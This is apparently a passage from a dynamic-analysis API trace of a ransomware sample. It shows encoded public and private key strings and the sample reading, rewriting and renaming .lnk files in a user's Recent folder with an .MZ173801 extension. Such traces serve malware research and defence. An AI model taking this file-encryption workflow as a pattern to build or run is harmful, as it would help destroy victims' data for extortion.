lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.111] GetCurrentThreadId () returned 0xab4 [0147.111] GetCurrentThreadId () returned 0xab4 [0147.111] GetCurrentThreadId () returned 0xab4 [0147.111] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aUIpFDwEiCcpzrSkPaW0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\auipfdweiccpzrskpaw0.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.111] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.111] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.111] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3f3 [0147.111] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.111] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3f3, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3f3, lpOverlapped=0x0) returned 1 [0147.112] CloseHandle (hObject=0x280) returned 1 [0147.112] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aUIpFDwEiCcpzrSkPaW0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\auipfdweiccpzrskpaw0.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.113] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3f3, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3f3, lpOverlapped=0x0) returned 1 [0147.114] CloseHandle (hObject=0x280) returned 1 [0147.116] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aUIpFDwEiCcpzrSkPaW0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\auipfdweiccpzrskpaw0.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aUIpFDwEiCcpzrSkPaW0.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\auipfdweiccpzrskpaw0.lnk.mz173801")) returned 1 [0147.116] GetCurrentThreadId () returned 0xab4 [0147.116] GetCurrentThreadId () returned 0xab4 [0147.116] GetCurrentThreadId () returned 0xab4 [0147.116] GetCurrentThreadId () returned 0xab4 [0147.116] GetCurrentThreadId () returned 0xab4 [0147.116] GetCurrentThreadId () returned 0xab4 [0147.116] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47c1e0a8, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x47c1e0a8, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x47c1e0a8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="AuJwOyKnChH.lnk", cAlternateFileName="AUJWOY~1.LNK")) returned 1 [0147.117] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.117] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.117] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AuJwOyKnChH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\aujwoyknchh.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47c1e0a8, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x47c1e0a8, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x47c1e0a8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x47a)) returned 1 [0147.117] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AuJwOyKnChH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\aujwoyknchh.lnk")) returned 0x20 [0147.117] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AuJwOyKnChH.lnk", dwFileAttributes=0x80) returned 1 [0147.120] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.120] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0147.122] GetCurrentThreadId () returned 0xab4 [0147.122] GetCurrentThreadId () returned 0xab4 [0147.122] GetCurrentThreadId () returned 0xab4 [0147.122] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.122] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.123] GetCurrentThreadId () returned 0xab4 [0147.123] GetCurrentThreadId () returned 0xab4 [0147.123] GetCurrentThreadId () returned 0xab4 [0147.123] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AuJwOyKnChH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\aujwoyknchh.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.123] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.123] SetFilePointer (in: 